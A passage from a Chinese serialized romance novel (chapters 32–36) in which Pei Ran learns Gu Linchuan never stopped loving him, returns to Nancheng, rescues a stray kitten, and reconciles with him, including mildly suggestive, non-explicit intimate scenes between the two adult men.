裴然追了上去,“史密斯医生,等你有空的时候,我们可以聊聊吗?”
史密斯看了看手中的病历,思考着自己的行程,片刻后点头。
查完房已是临近午时,史密斯医生坐在办公室里,摘口罩脱大褂,倒了一杯咖啡给自己提神,又为裴然递去一杯温水,招呼裴然坐下。
裴然握着杯子,浅浅喝了一口问:“史密斯医生,我母亲的恢复状况还好吗?”
“当然,先生。”史密斯坐在电脑前看着徐女士的记录,“患者治疗态度很积极,我们的工作进行非常顺利。”
听到这句话,裴然总算是彻底地放松下来,和史密斯简单聊了两句之后便起身告辞。
回到病房时,裴然眉宇间难掩笑意,靠在椅子上摆弄着今天的粉色蔷薇。
“什么事情这么高兴呀?”徐梦援笑眯眯的问,“给妈妈讲讲呗?”
裴然抿唇一笑,顺势坐在床边,“妈妈,我想回国两天,你一个人在医院,可以吗?”
“当然可以呀。”徐梦援眨眨眼,了然地看着他,“然然想做什么就去做,妈妈在医院不会捣乱的。”
裴然扑哧一声笑出来:“妈妈,我哪里是怕你捣乱。”
徐梦援看着孩子难得的笑脸,只觉一阵暖意,从心脏蔓延到四肢百骸,这才是裴然该有的样子,被爱意包
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裹的无忧无虑的模样。
她张了张嘴,还想说什么,被微弱的手机震动打断。
裴然疑惑地拿出手机,发现是宋妍宜发来的消息。
宋妍宜:如果我告诉你真相,你能答应我,帮我说服顾临川吗?
裴然捏着手机的手渐渐收紧,对上母亲询问的眼神,安抚地拍了拍她的身侧,“妈妈,朋友的消息,我去回复一下。”
徐梦援点点头:“去吧。”
盯着手机,裴然陷入沉思,思考良久,他回复:我没有把握,但可以一试。
对面似乎一直盯着手机,几乎是秒回:足够了,老地方见。
同样的黄昏时分,今日乌云密布,整个城市显得灰蒙蒙的,裴然深知英国天气的无常,出门前带了两把雨伞。
路上果然下起雨,交通也变得拥堵,裴然紧赶慢赶也算没有迟到。
仅仅只是一天没见,宋妍宜似乎又憔悴了不少,裴然眉心微蹙,有些于心不忍。
“你来了。”宋妍宜将桌上的咖啡杯往前推了推,“坐下吧,我只能告诉你一部分,我想剩下的,你也更想听到顾临川亲口跟你讲。”
“好。”裴然点了点头。
“七年前,你一声不吭地就走了,顾临川性情大变,最开始的一段时间,没有人可以接近他,就连枚烨和戚贺昀都……”
“再后来,他表面上一副走出来了的模样,我们都被骗到了,他开始去尝试极限运动,受了很多的伤,有一次差点死掉,我去医院看他,手术室里他连基本的求生欲都丧失了,后来是我们用你的录音把他从鬼门关拉回来的。”
“……从那时起我就明白,他从来都没有放下。小然,我不知道你为什么离开,也不知道你为什么回来,事到如今,我只想问你一句,你还爱他吗?”
裴然眼眶通红,哽咽着几乎发不出任何声音,“爱……”
“这些年他帮了我挺多的,这次是我太贪心,竟然痴心妄想想从他手里要一个只属于你的婚礼。”宋妍宜不等他回答完,继续说,“很吃惊吧,他最恨你的时候,也没有忘记你们的约定,或许爱已经成为了一种本能吧。”
“你回国之后,他其实很想见你,所以总是故意捉弄你,之前一起吃饭,你送给我们的腕表,他表面上很生气,但属于他的那块,他常戴在手上。他说失忆了,也只是和你赌气,他怎么可能舍得把你忘了?”
裴然哭的溃不成军,饶是宋妍宜跟着落泪。
“我不知道……”裴然好不容易找回自己的声音,忍着哭腔,“我不想拖累他,我以为离开是最好的选择……”
宋妍宜言尽于此,不再多说,等他情绪稍微缓和之后,“你答应我的事情,尽力而为,办不成也没关系,我有心理准备的。”
说完,头也不回地离开了。
裴然坐在位置上哭到发抖,嘴里反复念叨着顾临川的名字,脸因为憋气而胀得通红,哭到最后险些晕厥。
真相比想象中更直白,顾临川隐忍的强烈的爱意太满,原来他一直深陷其中。
根本没有所谓的遗忘,也没有讨厌,只是他做了错事,顾临川幼稚赌气的回击。
即使被爱人抛弃,他仍然一如既往地深爱着,从未改变。
那夜的吻,是情难自禁,是思念难耐,裴然却胡思乱想,误会了他。
夜雨声烦,混合着裴然的小声的呜咽,伴随着暮色缓缓蔓延。
33.第 33 章
订票定在晚上八点,裴然没打算带行李,临走前只在医院和母亲简单告别后,便和Leo一起到了机场。
Leo本想和他一起回国,但医院这边还需要他帮忙,他只好留下。
飞机轰鸣的引擎声在耳边回响,脚下的一切都逐渐远去,和从前任何一次坐飞机都不一样的心情,这一次裴然格外的平静。
落地之后,偌大的南城让他感到茫然,他拿出手机犹豫了片刻,最终还是没有拨通。
走出机场时天空又飘起小雨,裴然想起几个月前刚到的场景,似乎也是这样,独自在街上闲逛,像没有引线的风筝,没有人知道他会飘向何方。
但如今,风筝的另一头被人紧握,把他缓缓带回烟火人间。
上了车,裴然下意识看向司机的眼睛和手指,不是想象中的人,他有些失落地低下头,照旧把头靠在车窗上。
车到目的地,裴然付了钱后推门下车,不久前他刚来过,那时他以为顾临川认错了人,天色未亮便仓皇逃离。
环视一圈圈,周围的一切还是那么的熟悉。
雨势越来越大,沿着屋檐走已经挡不住胡乱飘飞的细雨,他干脆将外套脱下,罩住头顶往前面跑去。
他深吸一口气,鼓足勇气打算上楼,却骤然听见一声猫叫,很细微且虚弱的叫声。
裴然下意识寻找声音的来源,正巧此时,前面的草丛中传来悉悉索索的声响。
循声望去,只见草丛里面闯出来一只小猫,浑身都被雨淋透了,柔软的身躯被树枝划破,身上渗出斑驳的血迹猫毛打绺贴在身上,让它看起来只有巴掌大。
裴然吓了一跳,第一反应便是将头顶的外套递到小猫头顶,好让它不再受雨淋。
小猫显然对人类感到害怕又亲近,始终和裴然保持着一定距离。
为了抓它,裴然把自己搞得很狼狈,身上脏兮兮的,头发里还插着一根树枝,但总算是成功将小猫围进衣服里。
小猫最开始害怕地到处乱窜,但是裴然摸到它的一瞬间就老实了,规规矩矩趴在他掌心。
像是知道自己很萌,灰溜溜地大眼睛盯着裴然看,喵呜喵呜不安小声地叫着。
“不怕不怕。”裴然摸了摸它的头,安抚它,“我带你到安全的地方去。”
小猫像是听懂了,蜷缩起来,颤抖的身子渐渐安稳下来。
因着这只小猫,裴然只好暂时中断自己的计划,跑到屋檐下躲雨,打算等雨势渐小之后,把小猫送去宠物医院检查一番再说。
借此机会,裴然低头检查着怀里的小猫,应该是刚足月的小猫,不知道被人扔到了这里。
冬天这么冷,若是今日没有好心人发现并把它抱起来,也许一条鲜活的生命就这样在寒风中逝去,悄无声息。
想到这里,裴然有些后怕,他缓缓蹲下,让小猫方便贴近自己的身体,用体温为它取暖。
只是,一直到脚都蹲麻了,眼前的雨也没有要停的意思。
裴然看了看小猫,犹豫着要不要冒雨冲出去,突然,眼前落下一片阴影,将他完全包裹起来。
来不及反应,紧接着是熟悉的柑橘味和略微粗重的喘息,高大俊挺的身影像火盆一般,将热意逐渐蔓延。
认出来人,裴然身子一瞬间僵住了,他甚至不敢回过头看,脚下的麻意顺着血液流回了心脏处,他几不可闻地软了腿。
两个人都没有先开口,裴然抿着唇最终投降,转过身时尴尬地笑着:“好巧啊,哈哈,你怎么也在这里?”
转念一想,这是他家,他当然会在这里,嘴角抽搐一下,索性不再说话。
“你怎么在这?”顾临川语气有些凶,话音落下,余光又看见他单薄的里衣,深吸一口气,眉头紧皱将外套脱下,搭在他肩膀,“下雨了不知道躲吗?”
“知道。”带着体温的外套落在身上,裴然第一时间往外推了推,匆匆和他对视一眼又赶紧移开,“不用了,会弄脏的。”
“弄脏洗了不就好了?”顾临川抓着他的手,将大衣扣子扣紧,“下面风大,上去再说。”
裴然立在原地没用动,有些不好意思地将小猫抱在胸前给他看:“还有它,我就先不上去了。”
“你就是为了它?”顾临川这才发现,他手里还捧着一只更脏的小猫,毛发都被打湿了,腿颤颤巍巍支撑着站起来,对着顾临川喵喵叫,眉头皱得更深,“一起,我没说它不可以。”
于是,一人一猫就被顾临川带回了家。
开了门,顾临川第一时间将空调和地暖都打开,进屋拿了一条干净的毛巾出来。
由于他跑得匆忙,一路上也淋了不少雨,他干脆将身上的衣服都脱掉,裸露着上半身,下身只随意搭了一条浴巾。
一边擦头发,一边将毛巾递给裴然:“去洗个澡,换身衣服。”
裴然站在门口,紧闭双眼,内心疯狂默念非礼勿视,又怕弄脏他的地板,掀开一点眼皮,小心翼翼地接过毛巾,往门内缩了一步,“谢谢。”
说完,半眯着眼把小猫递到他手中,闪身进了浴室。
顾临川盯着他的背影,白色的衬衣溅上了泥点子,裤脚也被打湿了,头发乱糟糟,和眼前的小猫如出一辙。
顾临川低头,和它大眼瞪小眼,又伸手戳了戳,小猫乖顺地拿鼻尖去顶他的手指,有来有回,玩的不亦乐乎。
暂时没办法洗澡,顾临川便找了条毛巾给它擦干净,又拿来医疗箱简单地处理了伤口,随后把它包起来,像个毛巾卷蛋糕,只露出一点脑袋。
“能拜托你给它找一个主人吗?它还这么小,如果继续流浪,很可能活不下去了。”裴然突然从浴室里探出头来。
顾临川问:“你救了他,你怎么不养?”
裴然把门关上了,声音透过浴室门有些闷:“我照顾不好它,还是给它找一个好的爸爸妈妈吧。”
顾临川没回答,把它放在沙发上,下面垫了几块毛巾,看着它跌跌撞撞地朝自己走来,好不容易快走到了,又捏着它后颈把它往后拽。
小猫跌坐在地,一下又爬起来,继续跌跌撞撞地走过来。
如此循环几次,顾临川终于大发慈裴,停了手。
小猫见有机会靠近他,发出咕噜咕噜的响声,过来蹭了蹭他的手。
裴然的那句“给它找个好的爸爸妈妈”在他耳边回荡,鬼使神差一般,他捏了捏小猫耳朵:“叫声爸爸来听听。”
小猫当然不会叫,但通人性地喵喵叫了两声。
顾临川指了指浴室,本想让它喊妈妈,但转念一想,又对小猫说:“这也是爸爸,他在里面洗澡,喊人。”
小猫顺着他的手指,脑袋冲着浴室摇摇晃晃,又是喵呜两声。
顾临川心念一动,把它抱起来,立刻吩咐助理去采购相关的宠物用品,十分受用地点了点头。
旋即,他又苦恼起来,勾着小猫下巴,思索着:“该叫你什么好呢?”
不多时,裴然从浴室里出来,“我好了。”
他身上穿着顾临川的衬衫和裤子,腰部有点大,挂在腰上摇摇欲坠,裴然不得已只能用手紧紧攥着。
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顾临川拿着吹风机,一只手揽过裴然的肩,伴随着裴然疑惑的声音,又把人带进了浴室。
吹风机声音大,顾临川怕吓到小猫,便打算在浴室里给他吹头。
裴然红着一张脸,不知道是羞得还是方才洗澡闷得,“我自己来就可以。”
“站好。”顾临川没理会他的拒绝,手指伸进他的发间,动作轻柔地吹着。
“哦。”裴然听话地不再乱动,悄悄从镜子里看他。
顾临川眼眸微垂,神色认真,直到把裴然头发全部吹干之后,才收起吹风,身子微微前倾,将他压在洗手台前。
顾临川没穿上衣,两具身躯仅仅只隔着一件薄薄的衬衫,紧贴在一起。
“你干什么?”裴然有些被吓到,但是根本无力抵抗,双手软趴趴地搭在他肩上,“靠太近了吧……”
“你在想什么?”顾临川浑然不觉,步步紧逼,说话间呼出的热气洒在头顶。
直到头上传来一声柜门打开的声音,裴然才反应过来,对方只是在放吹风机,顿时无地自容起来。
不等裴然缓过神,腰间又伸来一只作乱的手,隔着松松垮垮的裤子,似有若无的靠近。
“裤子有点大了。”顾临川一脸正经,阐述着事实,让人丝毫看不出他一只手还掐在裴然的腰间,低着头用下巴在他头顶很轻地蹭了一下,“用的哪款洗发水?怎么这么香?”
“就……架子上那款,橙子味的。”裴然紧绷着身子,腹部肌肉有些颤抖。
他下意识地抬起头看向镜子,却猝不及防地和身后的男人对上视线,那是一个充满欲望和侵略的眼神,像是要把他看穿。
“裴然,抖什么?”顾临川盯着他的眼睛,问他,“你害怕我吗?”
“顾临川……”裴然满心的话不知道怎么说,“不害怕,喜欢……我很喜欢……”
“喜欢?多有喜欢……嗯?”顾临川低头,咬住他侧颈的软肉,不轻不重地用牙齿磨,有些意外裴然的坦诚和直接,“你怎么证明?”
裴然简直要哭出来,仰着头像一只濒死的天鹅,脸上似欢愉似痛苦:“你先等一下。”
似是没听见,好半晌,顾临川咬够了,才大发慈悲停了下来,静静地等他喘气,欣赏着这一副被欺负了的模样。
“这样……”裴然在他双臂间转过身,和他面对面站着,仰头吻上他的喉结,含糊不清地问,“可以证明吗?”
顾临川没预料到,被咬出一声闷哼,放在他腰侧的手骤然收紧,嗓音低沉沙哑:“你知道你在做什么吗?”
说话间,喉结上下滚动,裴然感受到他的反应,有些欣喜,落下一吻后便沿着肌肤一路向下,吻上他的锁骨。
“我很清醒。”裴然抬眼,直勾勾地盯着他,眼底的情意不比他少半分。
眼前这具身体对他而言,实在太有吸引力了,只需靠近,便能让他瞬间失控。
从前温存时,他便格外钟情于性感的喉结和锁骨,此刻,肌肉记忆涌上心头,动作无比熟练。
“很好。”顾临川咬牙切齿,手背上青筋暴起,忍耐地很辛苦。
但最终,两人都没做到最后一步,惦记着客厅的小猫,片刻后,两人皆是满面春色地走出来。
小猫不明所以,见到他们便喵呜喵呜地叫起来。
“收拾一下,送它去宠物医院。”顾临川面色如常,手指摩挲着锁骨和喉结,转身时说,“咬的还挺重。”
闻言,裴然脸皮薄,红着一张脸走过去,摸了摸它的脑袋,看向顾临川的眼神也心虚。
34.第 34 章
顾临川驱车带着小猫和裴然赶到了宠物医院,给小猫做了全身检查。
洗澡,拍片,驱虫,以及一系列的检查,小猫全程虽然不安,但只是发着抖,并没有激烈地反抗。
陪小猫洗澡的时候,裴然听着小猫嘤嘤的叫声,实在于心不忍,便穿了工作服跟着进去,顾临川沉默着照做。
“小猫下雨天偷跑出去啦?”店员小姐姐以为是他们的小猫,一边处理着被泥土打结的毛发,一边和他们闲聊,“狸花猫是这样的,总爱乱跑,平时注意把门窗关好就行。”
裴然摇头说:“我们不是它主人,是我们捡到的。”
“噢,是这样。你们真有爱心。”店员小姐姐了然,笑了笑,转头专心工作了。
过了一会儿,裴然盯着逐渐干净的小猫,问:“请问这里可以帮忙寻找领养家庭吗?”
“当然可以。”店员小姐姐指着墙上的二维码,“可以进群了解一下。”
裴然正打算拿出手机扫,顾临川伸手拦住了他,面对裴然疑惑的眼神,顾临川说:“不用找了,我养。”
裴然有些犹豫,毕竟从小到大,顾临川都没有对任何品种的小猫产生兴趣,准确来说是对所有的宠物,他都没有兴趣。
正欲开口,手机铃声却响了起来,裴然看了看备注,才想起自己落地之后忘记回电话报平安了,当即微微欠身,出了房间。
“然,你到了吗?”Leo关切地问,“阿姨这会儿刚睡下,你要不发个语音,等她醒了我给她听。”
“嗯,已经到了。”裴然说,“忙完你也早点休息。”
“我知道的,然。”Leo突然想到什么似的说,“然,你还记得,去年我跟你讲的,那副被高价拍下的画吗?”
“记得啊,怎么了?”裴然有些没反应过来,话题的跳转。
“上次之后,我便有意去留意了那场展览的校外来宾。”Leo神秘兮兮,语气激动,“这位买下作品的不仅是华人,而且是你们南城人,看介绍,还是一位很成功的商人。”
南城?成功的商人?
裴然一愣,脑海里莫名其妙浮现出那夜在顾临川床头看见的那幅画,虽然被白布遮挡住,但总透露出浓浓的熟悉感。
不会这么巧吧?
电话那头Leo还在继续:“校园论坛上曾有人扒出了他的身份信息,但很快就被撤下去了,我找了很久,只找到了一张模糊的背影照片。”
手心轻轻一震,照片发了过来,裴然点开。
照片几经转载早已模糊到快看不清人形,但裴然只看了一眼,便认出了他的身份。
裴然最初学服装设计的时候,便和顾临川许下约定,要亲手为他设计一套衣服。
当年的誓言犹在耳畔,如今在看这张照片,也生出几分恍然。
原来从这么早开始,顾临川就在默默地关注着他,来到他的学校,收集着与他有关的画作,甚至有可能,他们也曾在茫茫人海中,擦肩而过。
想到这里,裴然红了眼眶,趁着没人擦了擦眼泪,努力让情绪平常:“看样子,是他在我的作品里看到了家乡的感觉,所以才会买下吧。”
Leo深觉有理:“我也觉得。”
小猫已经洗好澡,正由医护人员抱着去检查骨骼,裴然便先挂了电话,跟着一起去。
顾临川在楼下签字,到的比较晚,上来时看见裴然,“聊完了?”
“嗯。”裴然低着头。
顾临川看着他的模样,总觉得像这只小猫一样可怜,联想到庭婷和心理医生的话,他应该早点和裴然解释清楚婚约的事情,不能再让他误会下去。
但这里显然不是一个很好的沟通场所,便只能等到回家之后。
任何时间在等待的加持之下,都会变得格外漫长,小猫从洗澡到检查,全程只花了三个小时,顾临川却像过了三辈子那样长。
最后小猫由于月份太小,加上淋雨的缘故,需要在医院观察两天,顾临川和裴然便先离开。
坐在车上,裴然偷偷摸摸看他,心里想着,如果待会儿他问自己要去哪里,他要怎么才能厚着脸皮说,要去他家。
但幸好,顾临川根本就没问,沉默着一路把他带回了自己家。
到家时,刚推开门,映入眼帘的便是两个超大的袋子,裴然没动,但能看见面上是一些生活用品和衣服。
顾临川给裴然拿拖鞋,拉着裴然坐下,很自然地弯下腰给他穿上,看着地上的东西,捏了捏他的脚踝,“我让助理买的,去看看喜不喜欢。”
裴然整个人都是懵的,反应过来时,先把脚从他手中抽出来,被他触碰过的地方感到很烫,像被火燎过一般。
顺着他的目光,裴然看向那两袋东西,又转头看着顾临川,问:“为什么要买这些?”
顾临川一脸的理所当然:“今晚在这里睡下,总会用到。”
裴然张着嘴,似乎很想问为什么要在这里睡,但转念一想,自己本来的目的也是在这里睡,便又不再问了,默默起身将它们拿出来摆好。
白日里,顾临川只顾着小猫和裴然了,此时站在浴室门口,转头看着裴然。
“电视遥控器在这里,书房的书随便看,游戏室和影音室在二楼,钢琴也还在家,里没什么变化。”顾临川叮嘱完,“你自己待一会儿,我很快出来。”
在看到裴然乖巧点头之后,这才关门。
裴然张望着,确认浴室里面传出水声后,莫名心虚地蹑手蹑脚走到顾临川房门口,随后站定。
内心正在进行激烈的天人交战,一方面觉得自己不能随便进入他的卧室,另一方面又觉得如果自己只是想进去确认一下那幅画究竟是不是自己画的。
纠结片刻,裴然把手放在门把手上,心一横,干脆直接进门。
浴室水声渐渐变小,顾临川顶着身上湿漉漉的水汽开了门,先从客厅找人,又上了二楼,一圈下来都没看见人。
焦虑症似乎会传染,顾临川啧了一声,感到不耐。
最后他去裴然卧室找,路过自己卧室时,隐约听到里面传来压抑的哭声。
家里除了顾临川,便只有裴然一人,声音来源不言而喻。
顾临川轻轻推门,粗略看了一圈,房间里没人,但是挂在墙上的画上的白布被人揭下,随意地躺在地上。
对此场景,他虽然有些惊讶,但很快镇定下来,毕竟他只是没找到合适的机会开口,并没打算瞒着裴然。
呜咽声顿了一下,随即是粗重的喘息和抽噎。
深色的床单中间隆起一个小山丘,声音正是从里面传来的。
顾临川站在原地没动,蠕动的被子停下来,渐渐掀开一个角,随后探出一个毛绒
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绒的脑袋,脸上还挂着泪痕,整个脸被闷得通红,眼睛也是肿的。
“顾临川……”
床上的人从被子里伸出双手,挥动着,迫切地朝他索要拥抱,刚哭过的嗓音软糯,带着撒娇的意味。
他不知道自己是怎么克制住的,但当下他的确如雕塑一般立在原地,没有任何动作。
裴然哭得更狠了,从床上挣扎着要站起来,但又踩到床单,摔了一跤,很快便爬起来,下了床走到他面前。
顾临川伸手,却只是理了理他额前被润湿的头发,不至于戳到眼睛,“你的房间在隔壁,怎么睡在我的床上。”
裴然指了指床头那幅画,“是你买的吗?”
“是啊。”顾临川垂眸,被他眼底破碎的眼泪晃到,闭了闭眼移开视线,“随便买的,看着投缘。”
“撒谎。”裴然掐着自己的掌心,下意识地使劲,一字一句地问,“你知道这是我画的,对吗?”
“知不知道很重要吗?”顾临川抓过他的手,将紧握的手指一个一个掰开,放在手心把玩,“是你画的又怎样?”
“很重要。”
裴然根本没有心思去猜他究竟是什么意思,此刻手上失了力,内心的情绪得不到发泄,只要退而求其次地咬唇。
但刚刚咬上,顾临川又皱着眉伸手抵在他唇齿之间,“这么喜欢咬?”
触及他的指尖,裴然下意识张开嘴,舌尖本能地向后缩,却不小心碰到。
意识到什么,裴然后退几步,“抱歉,我不是故意的。”
顾临川观察着他的呼吸,确认没事之后继续追问:“为什么重要?”
“你当时吻我,没有认错人对吗?”裴然却答非所问,喃喃自语,“你知道是我,你吻的就是我。”
“为什么这么说?”顾临川上前一步,语气平淡,“我当时喝醉了,有点不记得了。”
“不记得了?”裴然红着眼,很委屈。
心里想着他为这件事情伤神又伤心,对方居然已经不记得了?
“那我帮你回忆一下。”裴然眼神幽怨,顺势靠近,不由分说地咬上他的唇,“顾临川,我好想你。”
顾临川没有回应也没有拒绝,微微启唇,搂着腰,方便他的进攻。
裴然吻得很投入,闭着眼睛服务态度拉满,没有被推开后愈发大胆,拉着他的手哼哼唧唧,一吻下来把自己搞得快没气了。
裴然喘着粗气,靠在他的胸口,中场休息说:“你抱抱我,我还想亲你,好不好?”
“接吻也要哄啊?”话虽这样说,顾临川舒了一口气,还是掐着腰把人抱在大腿上坐着,“裴然,你吻我做什么?你喜欢我啊?”
说完并不给他回答的机会,大掌紧紧扣住脖颈,凶狠像是在惩罚他,又带着缠绵。
裴然拼命摇头,一边亲一边哭,眼泪险些把两人淹没。
顾临川只好把人放下,无奈给他顺气,问他:“哭什么?”
“先不要问。”裴然摇头,抽噎几下,好不容易缓过来说,“你抱紧我,还要亲。”
顾临川捏着后颈,想抓小猫那样往后,不让他亲,“回答我。”
裴然委屈死了,不是说顾临川爱他吗?怎么这么坏,连接吻都不满足他,还要逼着他回答问题。
鼻头一酸,他不想理顾临川,转过身独自擦眼泪。
35.第 35 章
顾临川难得见他对自己发脾气,心里又好气又好笑,但看着他通红的眼眶,叹了口气,终归还是舍不得。
他捧着裴然的脸颊,珍视地吻去泪水,哄他:“发什么脾气?”
此话一出,裴然更觉宋妍宜的话有假,从前他掉一滴泪,顾临川恨不得把天上星星都摘下来安慰他,如今呢,他都哭成泪人了,他居然还问自己在发什么脾气?
裴然张了张嘴,很想控诉对方,但又说不出口,只好又气呼呼地转向另一边,“不要你管。”
顾临川却突然轻笑一声,“那要谁管?”
裴然不想搭理他,但看着他的眼睛,又实在说不出伤人的话,只好生硬地说:“反正不要你。”
说完他又后悔了,他这次是来道歉的,不是来和他吵架生闷气的。
见顾临川正要说话,他一把捂住对方的嘴,“对不起,我不是那个意思,不想亲就算了,我要的。”
其实这番话说的很杂乱,但顾临川却听懂了,裴然在为方才那句“反正不要你”道歉,他说他要顾临川。
其实是应该开心的,毕竟裴然能直白坦然地表达,但此刻,他面容严肃,“我不需要要你的道歉,在我面前,你可以犯错也可以任性,我这样说,你能懂吗?”
“什么意思?”裴然茫然地抬起头。
“裴然,我没有变,从前什么样,现在就什么样。”顾临川几乎要把自己没有失忆的话说出口,但又堪堪止住,“我没有凶你,刚刚只是担心你,你一直哭,我找不到办法。”
裴然愣住了,没想到顾临川会柔声和自己说这些,他收回自己的手,上面似乎还残留着对方的气息。
“所以你没有嫌弃我乱发脾气是不是?”裴然问他,“你也没有不想接吻是不是?”
闻言,顾临川便凑上去,和他接了个缠绵的吻,引导他的呼吸,让他整个人像是被这个吻治愈一般,安抚他不安的情绪。
“从来没有过。”顾临川见他终于平静下来,才接着问他,“所以刚刚在哭什么?”
裴然眼神看向墙上的画,蜷缩在他怀里,鼻头又是一酸,但他忍住了,“我都知道了,你没有失忆对不对,你还记得我,你一直都记得我。这幅画就是证明,你买下它,还放在这里,我却什么都不知道,我像个傻瓜一样,每天胡思乱想,我真的……”
顾临川并不知道裴然已经知道了全部的真相,只以为他是看见了这幅画,猜到了些许。
如今他的心思在裴然面前暴露无遗,不论是七年前还是七年后,他都始终深爱着他。而裴然呢,当年事出有因,所有人都说他有苦衷,他愿意相信。
但他只想听到裴然亲口承认一件事情,离开的这七年里,对他是否还有真心。
他把人搂在怀里,一只手搭在腰上,另一只手牵起他的手,紧紧相扣,分明是无比温馨幸福的画面,顾临川却说:“记得又如何,忘记又如何,你在乎我吗?你在乎我们的以后吗?”
“我在乎!”裴然很委屈,着急地反驳,手指下意识缩紧,但这一次只能和顾临川越握越紧,“你为什么要骗我,当时我真的以为……”
以为你忘记我了,不要我了。
但裴然不敢说出口,甚至只是想到这样的可能性,都会感到一阵冷意。
顾临川掐着他下巴,和他对视:“谁先骗人的?”
谁先不告而别,谁先抛弃谁,谁先把对方当傻瓜……
在此期间,顾临川没有问出口,强行控制着自己的恶劣程度,时刻观察着裴然的状况,好在裴然虽然呼吸急促,但是思维清醒,没什么不适。
七年前的事情对裴然来说就是死穴,的确他做了错事,裴然:“对不起,我不会再骗你了……”
话还没说完,顾临川突然长叹一声,紧接着,低下头贴着裴然的额头,声音比平时更低沉沙哑些:“小然是胆小鬼……你明明知道我想听到的是什么,为什么不肯讲出来?”
熟悉的称呼让裴然瞳孔紧缩,下意识去想他的话到底是什么意思,但手背上却滴下一滴冰凉的液体。
那是什么?
裴然想低头看,但颈后的大掌扣的很紧,他没有机会挣脱。
这个距离他只能看见对方紧闭的双眼,轻轻颤动的睫毛,以及眼角那一抹水光。
裴然反应过来,原来那是顾临川的眼泪,为什么要哭?顾临川最想听到的话是什么?
裴然想了很久,久到他神思纷飞,想起回国后顾临川一次又一次的刁难和冷眼,宋妍宜说他等了自己很多年,说他其实很想见到自己。
为什么呢?为什么不生气呢?遇到这样的事情,应该要生气才对的呀……
一切的一切,到底是什么原因呢?
“小然,我们永远不分开。”
“小然,你真可爱。”
“小然,快看!是流星!快许愿……我要和小然爱到一百岁。”
“小然小然,我最最爱你。”
“……”
——爱!
迟钝的大脑在这一刻终于明白,究竟是什么原因。
他颤抖着嘴唇,伸手在他眼角一抹,“顾临川,我爱你,我一直都爱你。”
指尖又传来湿意,裴然怔怔地说:“你哭了。”
“嗯。”顾临川睁开眼,“我知道。”
裴然又搞不懂了,知道什么了?知道自己爱他了?还是知道自己哭了?
“你很难过吗?”裴然擦去他眼角的泪,看着他的脸,有些不好意思,“你哭起来,好好看。”
顾临川:“……”
说完,裴然自己也觉得这时候犯花痴有些不合适,于是便打算偷偷地瞧。
下一秒,顾临川把他整个抱起来,往浴室走去。
顾临川又变得沉默寡言,扯了毛巾给他擦脸,把牙膏和牙刷都摆好放在他面前。
裴然仰起头让他给自己擦脸,问他:“要睡觉了吗?”
顾临川点头,在他刷牙的时间出去把他的睡衣拿进来,像装扮洋娃娃那样给他换上。转头又把人抱进怀里,放在床上。
裴然缩进被窝里,余光瞥见顾临川立在床头点香薰,昏暗的灯光中,男人宽肩窄腰,睡衣布料柔软,给他增添了几分居家的温和,让人感到心安。
香薰燃起,安神助眠的薰衣草香在卧室里面弥漫开来,顾临川掀开被子躺上床,揽着裴然的肩膀把他拉到怀里。
裴然很听话地顺着往他怀里钻,枕在他的手臂,闭上眼睛:“晚安。”<
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p>顾临川没有回答,只是搭在他肩膀上的手掌轻轻地拍了拍。
过了很久,裴然都快要睡着,顾临川却突然吻住他的侧颈,厚实的胸膛贴上来,有点热。
睡意朦胧间,裴然还以为是从前,抓着他的头发小声嘟囔:“别闹了,乖乖睡觉。”
顾临川压抑着,低声喊他:“小然,你刚刚说的话,再讲一次。”
“我刚刚说的什么?”裴然反应不过来。
顾临川继续吻,“自己想。”
裴然只能又说:“别闹了,乖乖睡觉。”
顾临川不满,嘴上力道重了点:“不是这句。”
那是哪一句啊?裴然脑子昏昏沉沉,只好凭着直觉:“我爱你,哥哥,我最爱你……”
话音未落,顾临川便欺身上前,将刚才他亲手为他穿上的睡衣又亲手褪下,裴然这下骤然清醒了,但慌乱了一瞬便迎合上去。
结束时,顾临川咬着他的后颈,“再说一次。”
裴然趴在床上,有气无力地说:“我爱你,我爱你……”
顾临川心满意足,总算是放过他,抱起半昏迷过去的裴然进了浴室。
清理好之后出来,像对待陶瓷娃娃那般拥进怀里,把头埋在他的颈项间,沉声道:“我也爱你,小然。”
一夜过去,裴然醒过来时,身侧已经没人,他有些着急,出声时才发现嗓音沙哑到不行,“顾临川?”
顾不得浑身的酸痛,裴然抓起一旁的睡衣披上便下了床,连鞋子也忘了穿就往楼下走。
桌子上摆着早餐和甜牛奶,裴然心念一动,想起之前那份无名的晚餐,心里也有了底。
裴然慌慌张张地寻找着,二楼传来开门声和脚步声,顾临川从楼梯上下来,快步走到他身边,看到他没穿鞋的脚时,目光一凛。
“怎么不穿鞋就跑下来了?”
顾临川拦腰把人抱起来,又捏着他的脚放在自己的腹部,用体温为他温暖。
裴然很轻地踢了他一脚,控诉他:“哪有吃干抹净就跑的!累了一晚上就这个待遇吗?我睡醒起来,你人都不见了。”
“我在隔壁书房工作。”顾临川吻了吻他的嘴角,去揉他的腰,“还疼吗?”
“不疼,只是有点酸。”裴然摇摇头,顺势用脚环住他的腰,“我还有点困,你抱着我,我再睡会儿。”
顾临川盯着他沉重的眼皮,心疼地把他抱紧,抬脚往楼上卧室走,“回房间睡,我陪着你。”
裴然趴在他胸口,拒绝:“你去忙吧,我靠在你身边睡会儿就行。”
说话间,顾临川已经把他放进被窝里,脱了衣服,和他躺在一起了。
许久未亲密的两具身体又紧密贴合,顾临川像一个火炉一样,烤的裴然很舒服。
顾临川盯着他,食髓知味,但最终只是克制地吻了吻额头。
裴然却以为他还要继续,便伸手抵在他肩头,很轻地说:“不要来了,我受不了了。”
顾临川轻笑一声,“不来了,睡吧。”
“嗯。”裴然累惨了,说完便睡着了。
顾临川盯着他的睡眼发呆,一会儿亲一下脸颊,一会儿吻一下手掌,还要压低声音在他耳畔轻声说话。
“我爱你。”
36.第 36 章
顾临川搂着裴然难得睡了个安稳觉,醒来时裴然还在睡,便起身把窗帘拉紧,卧室又陷入昏暗之中。
因着清晨时裴然醒来身边没人就慌慌张张地找,顾临川这次干脆把电脑从书房拿到卧室,就在床上办公。
但爱人在身侧,顾临川总时不时地逗弄,连工作效率都低了好多。
午饭前,裴然还没醒,顾临川叫阿姨做了些清淡的饭菜,想了想还是把他叫起来。
裴然睡醒脑袋还是懵的,看了看他又看了看四周:“怎么了?”
“起床吃饭。”顾临川忍俊不禁,把人从被窝里捞出来,“你身子不好,不能不吃饭。”
“噢,好。”裴然茫然地应了,手忙脚乱地要站起来,“去哪里吃?”
“楼下。”顾临川像照顾小孩子那样,伺候他去洗漱换衣服,又手牵手和他一起走到餐桌前。
阿姨跟了顾临川很多年,知道顾临川喜静,收拾好之后便回了自己的房间。
